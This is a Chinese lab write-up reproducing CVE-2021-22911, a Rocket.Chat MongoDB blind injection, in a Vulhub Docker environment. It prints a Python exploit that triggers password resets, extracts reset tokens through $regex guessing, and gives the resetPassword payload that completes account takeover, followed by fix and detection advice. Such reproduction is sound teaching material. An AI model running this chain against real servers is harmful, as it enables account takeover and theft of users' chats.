news 2026/9/14 4:23:31

Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现

Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

Rocket.Chat 是基于 Node.js 与 MongoDB 的开源团队协作聊天平台,其 3.12.1~3.13.2 版本中的getPasswordPolicy方法存在一处无需认证即可触发的 MongoDB 注入漏洞。本文以 Vulhub 中 rocketchat/CVE-2021-22911 环境为核心,完整讲解漏洞的原理、攻击链路与自动化利用脚本 CVE-2021-22911.py 的实现细节:读完后你将掌握如何通过未授权接口泄露任意用户的 Password Reset Token,并据此接管普通用户账户。

漏洞概述:两种攻击方式

CVE-2021-22911 的根因是getPasswordPolicy方法对用户输入缺乏过滤,攻击者传入的查询参数被直接拼接进 MongoDB 查询语句,从而可以注入$regex等 MongoDB 查询操作符。该接口位于 Rocket.Chat 的method.callAnon通道之下,不需要任何身份认证即可调用。

围绕这一注入点,存在两种典型的利用路径:

  1. 未授权攻击者:利用该漏洞泄露任意普通用户的 Password Reset Token(密码重置令牌),再通过令牌直接修改其账户密码,实现完全接管;
  2. 已登录普通用户:利用该漏洞越权读取任意用户的任意信息。

Vulhub 的中文文档(README.zh-cn.md)与英文文档(README.md)聚焦第一种"未授权令牌泄露 + 改密"路径,本文同样以该路径为主线进行复现,并对脚本与接口细节做源码级的展开。

环境搭建

Vulhub 使用官方预构建镜像vulhub/rocketchat:3.12.1搭建漏洞环境,完整编排见 docker-compose.yml。执行以下命令启动环境:

docker compose up -d

编排文件中共定义了三类容器,理解它们的分工有助于把握 Rocket.Chat 的运行前提:

  • rocketchat:漏洞目标本体,基于vulhub/rocketchat:3.12.1镜像。command中通过seq 1 30循环执行node main.js并配合sleep 5重试,是为了等待 MongoDB 副本集就绪后再拉起应用;关键环境变量包括:
    • PORT=3000:Web 服务监听端口;
    • ROOT_URL=http://localhost:3000:对外访问地址;
    • MONGO_URL=mongodb://mongo:27017/rocketchat:业务数据库地址;
    • MONGO_OPLOG_URL=mongodb://mongo:27017/local:Rocket.Chat 依赖 MongoDB 副本集的 oplog 机制,故必须指定 oplog 地址;
    • MAIL_URL=smtp://smtp.email:占位的邮件地址,实际攻击不依赖真实发信。
  • mongomongo:4.0镜像,启动参数--replSet rs0 --oplogSize 128 --storageEngine=mmapv1 --smallfiles表明数据库以单节点副本集方式运行——这正是 Rocket.Chat 强制要求的部署形态。
  • mongo-init-replica:一次性初始化容器,执行rs.initiate({...})初始化名为rs0的副本集,完成后自行退出(容器内break || ...; (exit $s)的模式与 rocketchat 容器的等待逻辑一致)。

环境启动后访问http://your-ip:3000进入 Rocket.Chat 安装向导,跟随向导完成安装即可。

安装完成后,为验证第一种攻击方法,需要在管理后台创建一个普通用户:用户名vulhub,邮箱vulhub@vulhub.org。创建成功后的用户列表如下(vulhub账户的 Roles 为user,即为待接管的目标):

攻击链路:三步接管用户账户

利用该漏洞接管一个普通用户共需三步,前两步对应脚本中的两个函数:

  1. 触发密码重置:以目标邮箱请求找回密码,后台会为该邮箱在数据库中生成一条 Password Reset Token;
  2. 盲注提取令牌:利用getPasswordPolicy的 MongoDB 注入,以$regex前缀匹配的方式逐字符还原 Token;
  3. 令牌改密:使用窃得的 Token 调用resetPassword方法,把目标用户密码改成攻击者控制的值。

第一步:触发 Token 生成

脚本 CVE-2021-22911.py 的reset_password函数(第 15–27 行)向未授权接口发送找回密码请求:

payload = { 'msg': 'method', 'method': 'sendForgotPasswordEmail', 'params': [email], } session.post( f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail', json={'message': json.dumps(payload)}, )

注意两个细节:接口路径中的callAnon表明 Rocket.Chat 将这类方法暴露在匿名调用通道上;请求体以{'message': <json字符串>}的形式包装,message字段内是序列化后的方法调用描述(msg/method/params三段结构)。执行成功后打印[+] Password Reset Email Sent,此时数据库中已为该邮箱写入一条重置令牌。

第二步:$regex 盲注逐位还原 Token

这是整个漏洞的核心。getPasswordPolicy接口接受一个token参数,服务端将其直接放入 MongoDB 查询条件而未做任何转义,因此攻击者可以把{ "token": { "$regex": "^8" } }这样的查询操作符注入进去,让数据库把token字段当作正则来匹配。

由于接口不会回显匹配到的数据,只能根据响应差异判断命中与否,因此这是一次典型的盲注

  • $regex写成^7(Token 实际首字符不是 7)时,查询无结果,接口返回Meteor.Error错误:"error":"error-invalid-user","reason":"Invalid user"
  • $regex写成^8(Token 首字符确为 8)时,查询命中,接口正常返回策略内容{"enabled": false, "policy": []}

两种响应的原始请求/响应对照如下。左:$regex^7时返回Meteor.Error

右:$regex^8时命中令牌,返回正常密码策略:

对比可见两者的判别特征是响应体中是否包含Meteor.Error字符串,这正是脚本中if b'Meteor.Error' not in response.content这一判断(第 49 行)的依据。

inject_token函数(第 30–57 行)把上述过程自动化:

guess = '-_' + string.digits + string.ascii_letters ... payload = { 'msg': 'method', 'method': 'getPasswordPolicy', 'params': [{ 'token': { '$regex': '^' } }], } for i in range(43): current = payload['params'][0]['token']['$regex'] for ch in guess: payload['params'][0]['token']['$regex'] = current + ch response = session.post( f'{target}/api/v1/method.callAnon/getPasswordPolicy', json={'message': json.dumps(payload)}, ) if b'Meteor.Error' not in response.content: break # 命中当前字符,进入下一位 time.sleep(1.5)

脚本参数设计上有几点值得注意:

  • 字典guess-_加数字与大小写字母:Rocket.Chat 的密码重置令牌由字母数字及-_组成,字典与之对齐,保证每一位都能命中;
  • 外层for i in range(43):固定猜测 43 位,与令牌长度一致;内层按current + ch逐位追加字符,命中即跳出内层循环,下一轮外层循环继续猜测下一位;
  • 命中判定即Meteor.Error的有无:无该字符串视为命中并打印当前已还原前缀($regex去掉开头的^后即为 Token 本身),否则打点并sleep(1.5)限速,避免请求过快触发服务端保护。

整个过程的复杂度为43 × 字典长度次 HTTP 请求(本例约 43 × 64 次),在 1.5 秒间隔下需要较长时间,但全程无需登录态。实际运行效果如下,Token 被逐字符还原(8tNbUJCigNeoL...):

第三步:使用 Token 重置密码

拿到完整 Token 后,攻击者只需再次调用未授权接口resetPassword,参数为窃得的 Token 与新密码数组:

{ "msg": "method", "method": "resetPassword", "params": [ {"$token值": "新密码"} ] }

对应请求发送至POST /api/v1/method.callAnon/resetPassword。服务端校验 Token 有效后更新该用户密码,响应返回"success": true及新的 Token 过期时间(tokenExpires),至此目标用户vulhub的账户已被完全接管——攻击者可以使用自己设置的密码登录该账户,读取其全部聊天数据或以其身份继续横向利用。

脚本使用与完整攻击命令

仓库提供的利用脚本接受两个参数:目标地址与目标用户邮箱:

python CVE-2021-22911.py http://<target-ip>:3000 vulhub@vulhub.org

脚本内部自动完成"触发重置邮件 → 盲注提取 Token"两步(if __name__ == '__main__'分支,第 60–63 行),输出形如:

[+] Password Reset Email Sent [*] Guess No.1 character: .............. [+] Current token is 8 [*] Guess No.2 character: .............................. [+] Current token is 8t ...

提取完成后,再手工(或自行扩展脚本)发起第三步的resetPassword请求即可完成接管。

小结与修复方向

  • 漏洞本质getPasswordPolicy方法将用户可控的token参数未经过滤直接拼入 MongoDB 查询,且接口暴露在method.callAnon匿名通道下,"无需认证 + 查询注入"叠加使其危害从信息泄露升级为账户接管;
  • 影响版本:Rocket.Chat 3.12.1~3.13.2,升级到修复版本即可消除该攻击面;
  • 通用防御启示:对 NoSQL 数据库的查询构造应使用类型白名单校验(例如 Token 只允许特定字符与长度,拒绝以$开头的键值操作符),敏感接口的匿名调用通道应收窄到最小集合;
  • 检测视角:监控method.callAnon/getPasswordPolicy请求中出现$regex$ne$gt等 MongoDB 操作符的流量,可作为该漏洞利用的直接指纹。

本文全部环境与材料均来自 Vulhub 仓库:环境编排见 rocketchat/CVE-2021-22911/docker-compose.yml,利用脚本见 rocketchat/CVE-2021-22911/CVE-2021-22911.py,中英文档见 rocketchat/CVE-2021-22911/README.md 与 rocketchat/CVE-2021-22911/README.zh-cn.md。

【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/14 4:23:27

LBM方法与Xflow在流体力学模拟中的应用与优化

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/14 4:23:17

血细胞分类实战:从PyTorch数据加载到ONNX部署

简介&#xff1a;深度学习—血细胞分类数据集.zip 是一份用于深度学习图像分类任务的血细胞样本集&#xff0c;聚焦医学图像分析中的细胞自动识别问题&#xff0c;面向人工智能、数据挖掘及医学影像相关方向的研究者与开发者。包内共2000个文件&#xff0c;以jpeg/jpg格式的细胞…

作者头像 李华
网站建设 2026/9/14 4:23:12

地图分布动画从原理到性能调优:Canvas/SVG/天地图实战

简介&#xff1a;一款基于HTML5的地图分布动画演示DEMO&#xff0c;适合前端开发者、数据可视化爱好者学习地理数据动态展示。该示例利用画布绘制地图&#xff0c;配合图表库实现区域渐变、散点分布、热力呈现、平滑移动等交互动画&#xff0c;能直观表现人口密度、销售分布等位…

作者头像 李华
网站建设 2026/9/14 4:23:10

BP神经网络负荷预测实战:从特征工程到模型调参与部署

简介&#xff1a;基于BP神经网络的负荷预测完整实现包&#xff0c;面向电力系统调度、电网规划及机器学习初学者&#xff0c;解决如何利用历史负荷数据训练BP网络并输出未来负荷值的问题。压缩包共8个文件&#xff0c;大小410KB&#xff0c;含2个m脚本、4个doc文档、2个xls数据…

作者头像 李华
网站建设 2026/9/14 4:21:41

lowcode-engine 组件面板详解:资产包解析、分组排序与搜索机制

lowcode-engine 组件面板详解&#xff1a;资产包解析、分组排序与搜索机制 【免费下载链接】lowcode-engine An enterprise-class low-code technology stack with scale-out design / 一套面向扩展设计的企业级低代码技术体系 项目地址: https://gitcode.com/GitHub_Trendin…

作者头像 李华
网站建设 2026/9/14 4:20:20

普通人可掌握的12个数字超能力:零安装、零设置、断网可用

1. 项目概述&#xff1a;这不是超能力&#xff0c;而是普通人可掌握的“现实增强术”“superpowers”这个词最近在技术圈、设计社区和效率工具讨论区高频出现&#xff0c;但它和漫威电影里那种一拳打穿三堵墙的能力毫无关系。我连续跟踪了三个月的开发者论坛、Notion模板分享站…

作者头像 李华